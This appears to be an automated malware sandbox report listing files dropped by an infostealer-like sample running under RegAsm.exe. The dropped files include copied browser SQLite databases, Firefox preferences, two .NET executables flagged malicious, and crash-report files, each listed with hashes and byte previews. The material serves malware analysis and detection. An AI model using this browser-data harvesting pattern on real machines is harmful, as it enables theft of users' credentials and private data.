Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\DBFIEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\DGCFHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\EGIIJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\FHCGCA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\FHCGCA-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\FIDHIE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\GDHDAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\GIJEGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AEBAKJDGHIIJ\IDHIIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\IEHDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDGHIIJ\IEHDAF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGDHJECFC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	377384
Entropy (8bit):	7.988522009011023
Encrypted:	false
SSDEEP:	6144:uXfqISDaHCXsYQkiJ0j0Zt/d/WCIRibFrzae5LpVGbM/5Pg+rq8ZrPbXbCEO:uCvXsWtI/dVHbdastVG2ycWEO
MD5:	0CEE1D66332DEC523210F62E479284B9
SHA1:	33F950916E13A6EC654C52160EE47E88C64A5724
SHA-256:	0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
SHA-512:	603AA4834C6D3A9F3B6B1629EEB2108CECFD7192110F0CF948F2971957A9231AD9D405D8424E3A41B32A8FF415D8F84E55AFDEC38BF996703093084162D11972
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v#.f................................ ........@.. ....................................`.....................................W.......................(&..........\................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H.......................................................................M......\=.......S...!.}.S.t...&.P.i@..2...^.-...4.N.....^IG.X.C:,..<J......I{y]cf4s....O.....)..;.xoz......di.0a4Y.Z...yR....7U....8f....d.L..e.q.71.CW.BmK....L.$f.'.......O6..,-B.h(.....l.......}.H..7.$.....$.q.....y....b...@.g.@.B[..1.+....s.......I.rZo.d....d.]X.........6.......f..H..=#......5.X.e.!U]..}...#.....O..vo ..ZSI......G>.2.!....J...".^..l.../zm.w=\("........\|^V..[.L.\|.....

C:\ProgramData\KKEBKJJDGH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26112
Entropy (8bit):	5.587298385417451
Encrypted:	false
SSDEEP:	768:0Z7bBiDrq+NhJvjhTxhi8DD08T10DnS1RW:0ZErqqTxhZDA8TKS1RW
MD5:	168087C84C5FF3664E5E2F4EEC18D7DD
SHA1:	639E9E87103F576617ED08C50910CA92FE5C8C5B
SHA-256:	2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D
SHA-512:	89491261E1234F917964566DEF4B1A50505BA4C2EB90D14C19E2130D78FE65CD61C4BBA685909109C7088B35E7FD48F6311ACE7A0DD8C703A6D1B1D23D1A54BB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....p............"...0..\...........{... ........@.. ....................................`.................................h{..S.................................................................................... ............... ..H............text....[... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................{......H.......tC...7............................................................((....s..........(3...2.{....(....2.{....(....6.\|.....(4...6.\|.....(4...6.\|.....(4...R.sE...%oF....`oG...F.(H...(I...(...+..oM...%:....&.(N....{.....oO...Z.{ ...r...p(....(Z...2.{"...(=...6.\|$....(4...6.\|(....(4...6.\|,....(4...6.\|4....(4...6.\|7....(4....(g...(...+.r...p(.....:...r/..p(.....;...sl....<...6.\|@....(4...6.\|G....(4...6.\|Q....(....6.\|T....(....6.\|X....(4...6.\|]....(4

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MFDBG.exe_2017157e86b42cec1a418c847f3f981ae2c1db2_c2730a42_142fe33c-523c-4fce-840b-e262467f5a3e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9331069167408058
Encrypted:	false
SSDEEP:	192:9xox3sB70BU/JNea6DkzuiFHZ24IO8Jo:LoxcOBU/JNea+kzuiFHY4IO8Jo
MD5:	4C681D382D78ACFAE29E14CB0D8AEC08
SHA1:	01B591493D8406BD08611471C8101C45A75F3A9F
SHA-256:	2D7311415E66E28A66C5A6839E965B5A9C5B9D4509FE4C8F321D7DF1AB1AA577
SHA-512:	6881D7892B05B08D651B10C145FC0FDC6B6F43C1574A520EA15DFD618CE15372F969379397C1048BE07A8F0CF8408DE274727728A1B65E82C74BBC36829511F8
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.6.3.8.2.6.0.4.3.0.1.7.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.6.3.8.2.8.8.7.1.0.3.0.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.4.2.f.e.3.3.c.-.5.2.3.c.-.4.f.c.e.-.8.4.0.b.-.e.2.6.2.4.6.7.f.5.a.3.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.8.d.7.2.b.8.e.-.e.f.0.e.-.4.f.e.9.-.9.7.1.8.-.7.8.e.0.e.8.b.4.e.c.2.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.F.D.B.G...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.I.D.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.0.b.4.-.0.0.0.1.-.0.0.1.4.-.b.3.7.7.-.6.6.c.7.7.b.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.a.1.9.7.6.b.b.9.f.e.0.7.a.6.c.7.6.7.1.3.d.6.a.4.1.1.0.b.7.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.6.3.9.e.9.e.8.7.1.0.3.f.5.7.6.6.1.7.e.d.0.8.c.5.0.9.1.0.c.a.9.2.f.e.5.c.8.c.5.b.!.M.F.D.B.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MFDBG.exe_2017157e86b42cec1a418c847f3f981ae2c1db2_c2730a42_22780bd9-6d46-4788-9384-4e65b846ea27\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9333393847504806
Encrypted:	false
SSDEEP:	192:mxsoBA4B70BU/JNea6DkzuiFHZ24IO8Jo:vom4OBU/JNea+kzuiFHY4IO8Jo
MD5:	BD04C88AB9C646C9459DB9E226814B83
SHA1:	74976025F64EC5321D7B70033FF25A1C4BDBC882
SHA-256:	D83B8045CCC07FEAB0B28569C1D69F9BDD5A9FC83F9ED6506B81799DA38F24F3
SHA-512:	59DA3BB64B868EAD180DE957A71B312F85D91898CCF4222C050FF94B38B4E738C558CCCDA8C602E939E926444BE1EBBE88E0EF8060D4BA63F982079E8ED5C4A6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.6.3.8.1.5.4.2.0.1.7.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.6.3.8.1.8.3.4.2.0.6.5.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.7.8.0.b.d.9.-.6.d.4.6.-.4.7.8.8.-.9.3.8.4.-.4.e.6.5.b.8.4.6.e.a.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.c.c.3.3.2.b.5.-.0.4.2.9.-.4.1.c.d.-.9.7.e.7.-.3.3.d.9.d.b.f.b.a.b.5.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.F.D.B.G...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.I.D.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.9.0.-.0.0.0.1.-.0.0.1.4.-.c.2.9.3.-.d.f.c.0.7.b.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.a.1.9.7.6.b.b.9.f.e.0.7.a.6.c.7.6.7.1.3.d.6.a.4.1.1.0.b.7.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.6.3.9.e.9.e.8.7.1.0.3.f.5.7.6.6.1.7.e.d.0.8.c.5.0.9.1.0.c.a.9.2.f.e.5.c.8.c.5.b.!.M.F.D.B.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA569.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 18:50:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	185420
Entropy (8bit):	4.184065701698284
Encrypted:	false
SSDEEP:	3072:mtk+wG5F6pWFl5V4uEqGVy2LTgTUIeXwArwXb:y1wGL0WF3V4PVy0TgQIeXwP
MD5:	C7F1B73F3908AE4BA705EE2337CF168D
SHA1:	B3501CAA5664B64E4B45D4160758ACF4FEB7389E
SHA-256:	82D3EFE0A59E637B258ADB27F27587CB98024C7E352EED86F548AD94189449C1
SHA-512:	9ABE8C31ED7C4B1E27692BF6F2AC476A2E765FE954908824116154E9B48B79F5D03A4F78A2E47F35CE6C57331BCA679317C4FD96184CAD4EF840DFF083CF6767
Malicious:	false
Preview:	MDMP..a..... .......h[.f........................x...........$............ ...9..........`.......8...........T............%..............4........... ...............................................................................eJ..............GenuineIntel............T...........d[.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA886.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8378
Entropy (8bit):	3.6983752849281473
Encrypted:	false
SSDEEP:	192:R6l7wVeJQA6vrPu6YEITSU9g6X5cgmfZV9prC89bDNsfAABm:R6lXJX6y6YEsSU9g6X5cgmfL7DGfK
MD5:	EAFA79ECAAF031981D915F72E4FC1655
SHA1:	B668BADF2F3191DB4705DA26FD740399A8AAC1C8
SHA-256:	1C577C54767D40931B144FF565C005A68B6975D9A5231C229D4AC69BF01153BA
SHA-512:	17975333A6D2A5A9ACF83C9352E623558EBE2D8986BCB4F7BB70690685738EFB170216138301B57E6A29F6A81A600F5AE506DC92CAAE22CB231E32845F0D7E8E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA904.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.468314135616429
Encrypted:	false
SSDEEP:	96:uIjfAI7SW7Vo6J9J1RyKn1WTJIjzKKzmd:uIUYSW7b9J1v1W9gzKKzc
MD5:	7C0F2A1F9DDA1FD797C2B4BD2144D117
SHA1:	3C12FCB8C713214D5668AA81EACF592CD20ED81A
SHA-256:	0C3A18EB63BE7DADA80B6DAD786773A65903931780FDB6AEC4B017572760E317
SHA-512:	3260F037423BFDCCDABDF8264F0CC9259F12245B1CCF89E272E51BAE31D42BAF2C51AD1A000E26FFF6E3B3F1CF3FAF74799B5ED859237AAF7F01BECDFAB6D46C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="516112" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCEBB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 18:50:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	185196
Entropy (8bit):	4.214841914538768
Encrypted:	false
SSDEEP:	1536:YtpwtS51JM/CvInjBuBojRppN4uE2aOGhSVXqcLTgGOUwpfA3Fa9NoCD5aCtTexw:YtmDV4uEqGhylLTgGOUwp0s7D34L02
MD5:	1DA15611D7CD6CAD69753F9AE76C06C3
SHA1:	19CDF410467DBC04C9C73CD9AFC62056B285ABE5
